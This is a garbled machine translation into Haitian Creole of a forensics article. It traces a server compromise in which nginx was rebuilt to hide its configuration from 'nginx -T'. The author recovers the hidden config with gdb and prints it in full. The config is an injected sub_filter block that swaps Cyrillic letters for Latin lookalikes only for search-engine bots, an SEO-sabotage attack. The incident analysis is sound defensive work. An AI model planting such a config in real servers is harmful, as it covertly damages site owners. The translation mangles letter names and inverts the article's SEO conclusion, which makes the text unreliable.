Lè 'a' pa egal ak 'a'. Nan reveye nan yon Hack

Yon istwa ki pi dezagreyab rive youn nan zanmi m yo. Men, menm jan li te dezagreyab pou Mikhail, li te menm jan amizan pou mwen.

Mwen dwe di ke zanmi m 'se byen UNIX-itilizatè: ka enstale sistèm nan tèt li miskl, php epi fè paramèt senp nginx.
Apre sa, li gen yon douzèn oswa yon sèl ak yon mwatye sit entènèt dedye a zouti konstriksyon.

Youn nan sit sa yo dedye a tronsoneuz chita byen fèm nan TOP nan motè rechèch. Sit sa a se yon revizyon ki pa komèsyal, men yon moun te pran abitid atake li. Sa DDoS, Lè sa a, fòs brital, Lè sa a, yo ekri kòmantè obsèn epi voye abi bay hosting la ak RKN la.
Toudenkou, tout bagay te kalme ak kalm sa a te tounen soti nan pa bon, ak sit la te kòmanse piti piti kite liy tèt yo nan rezilta rechèch yo.

Lè 'a' pa egal ak 'a'. Nan reveye nan yon Hack

Sa se te yon di, Lè sa a, istwa admin nan tèt li.

Li te prèske dòmi lè telefòn nan sone: "San, ou pa pral gade nan sèvè mwen an? Li sanble ke mwen te rache, mwen pa ka pwouve li, men santiman an pa te kite m 'pou twazyèm semèn nan. Petèt li jis tan pou mwen jwenn tretman pou paranoya?"

Sa ki te swiv se te yon diskisyon demi èdtan ki ka rezime jan sa a:

  • tè a pou Hacking te byen fètil;
  • yon atakè ka jwenn dwa sipè-itilize;
  • atak la (si li te fèt) te vize espesyalman nan sit sa a;
  • zòn pwoblèm yo te korije epi ou jis bezwen konprann si te gen nenpòt pénétration;
  • Hack a pa t 'kapab afekte kòd sit la ak baz done.

Konsènan dènye pwen an.

Lè 'a' pa egal ak 'a'. Nan reveye nan yon Hack

Se sèlman IP entèfas blan ki parèt deyò nan mond lan. Pa gen okenn echanj ant backend yo ak frontend la eksepte http (yo), itilizatè yo / modpas yo diferan, pa gen okenn kle yo te echanje. Sou adrès gri, tout pò eksepte 80/443 yo fèmen. IP backend blan yo konnen sèlman de itilizatè, ki moun Mikhail konplètman fè konfyans.

Enstale sou frontend la Debian 9 ak lè yo fè apèl la, sistèm nan izole nan mond lan pa yon firewall ekstèn ak sispann.

"Ok, ban mwen aksè," Mwen deside sispann dòmi pou yon èdtan. "Mwen pral wè ak pwòp je mwen."

Isit la ak pi lwen:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Kap chèche yon Hack posib

Mwen kòmanse sèvè a, premye nan mòd sekou. Mwen monte disk yo ak baskile nan yo otorize-mòso bwa, istwa, sistèm mòso bwa, elatriye, si sa posib, mwen tcheke dat yo nan kreyasyon fichye, byenke mwen konprann ke yon cracker nòmal ta "bale moute" apre tèt li, ak Misha te deja "trodded desann" anpil pandan li t ap chèche tèt li. .

Mwen kòmanse nan mòd nòmal, poko vrèman konprann sa pou m chèche, mwen etidye konfigirasyon yo. Premye a tout, mwen enterese nan nginx piske, an jeneral, pa gen anyen lòt sou frontend a eksepte li.
Konfigirasyon yo piti, byen estriktire nan yon douzèn dosye, mwen jis gade nan yo chat'o youn pa youn. Tout bagay sanble pwòp, men ou pa janm konnen si mwen rate yon bagay gen ladan yo, kite m fè yon lis konplè:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Mwen pa t 'konprann: "Kote lis la?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Yon dezyèm kesyon ajoute nan kesyon lis la: "Poukisa yon ansyen vèsyon nginx konsa?"

Anplis de sa, sistèm lan kwè ke dènye vèsyon an enstale:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

map rele:
- Misha, poukisa ou remonte? nginx?
- Tann, mwen pa menm konnen ki jan fè sa!
- Oke, ebyen al dòmi...

Nginx li klèman rebati epi pwodiksyon an nan lis la lè l sèvi avèk "-T" kache pou yon rezon. Pa gen okenn dout ankò sou Hacking epi ou ka tou senpleman aksepte li epi (depi Misha ranplase sèvè a ak yon nouvo de tout fason) konsidere pwoblèm nan rezoud.

Ak tout bon, depi yon moun te gen dwa yo rasin'ah, Lè sa a, li sèlman fè sans fè sistèm réinstaller, epi li te initil gade pou sa ki mal la, men fwa sa a kiryozite bat dòmi. Ki jan nou ka jwenn sa yo te vle kache pou nou?

Ann eseye trase:

$ strace nginx -T

Nou gade sou li, gen klèman pa gen ase liy nan tras la a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Jis pou plezi, an n konpare rezilta yo.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Mwen panse ke yon pati nan kòd la /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

te pote nan fòm sa a:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

oswa

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

se poutèt sa lis la pa "-T" pa parèt.

Men, ki jan nou ka wè konfigirasyon nou an?

Si panse mwen kòrèk epi pwoblèm nan se sèlman nan varyab la ngx_dump_config ann eseye enstale li lè l sèvi avèk gdb, erezman gen yon kle --with-cc-opt -g prezan epi espere ke optimize -O2 li pap fè nou mal. An menm tan an, depi mwen pa konnen ki jan ngx_dump_config ka trete nan ka 'T':, nou pa pral rele blòk sa a, men enstale li lè l sèvi avèk ka 't':

Poukisa ou ka itilize '-t' osi byen ke '-T'Pwosesis blòk if(ngx_dump_config) rive andedan if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Natirèlman, si kòd la chanje nan pati sa a epi yo pa nan ka 'T':, Lè sa a, metòd mwen an pa pral travay.

Tès nginx.confÈske w gen deja rezoud pwoblèm nan eksperimantal, li te etabli ke yon konfigirasyon minimòm obligatwa pou malveyan an travay nginx kalite:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Nou pral sèvi ak li pou konsizyon nan atik la.

Lanse debogaj la

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Etap sa yo:

  • mete yon pwen rupture nan fonksyon an main ()
  • lanse pwogram nan
  • chanje valè varyab la ki detèmine pwodiksyon konfigirasyon an ngx_dump_config=1
  • kontinye/fini pwogram nan

Kòm nou ka wè, konfigirasyon reyèl la diferan de pa nou an, nou chwazi yon moso parazit nan li:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ann pran yon gade nan sa k ap pase isit la nan lòd.

Yo detèmine Ajan Itilizatèyandex/google a:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Paj sèvis yo eskli wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ak pou moun ki tonbe anba tou de kondisyon ki anwo yo

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

nan tèks la html-paj chanje 'O' sou 'o' и 'A' sou 'yon':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Sa a dwat, sibtilite a sèlman se sa 'a' != 'a' osi byen ke 'o' != 'o':

Lè 'a' pa egal ak 'a'. Nan reveye nan yon Hack

Kidonk, bots motè rechèch yo resevwa, olye pou yo tèks nòmal 100% sirilik, fatra modifye dilye ak Laten. 'yon' и 'o'. Mwen pa oze diskite sou ki jan sa a afekte SEO, men li fasil ke tankou yon melanj de lèt pral gen yon enpak pozitif sou pozisyon nan rezilta rechèch yo.

Kisa mwen ka di, mesye ki gen imajinasyon.

Referans

Debogaj ak GDB
gdb(1) — Paj man Linux
strace(1) — Paj man Linux
Nginx - Modil ngx_http_sub_module
Konsènan scies, tronsoneuz ak scies elektrik

Sous: www.habr.com

Add nouvo kòmantè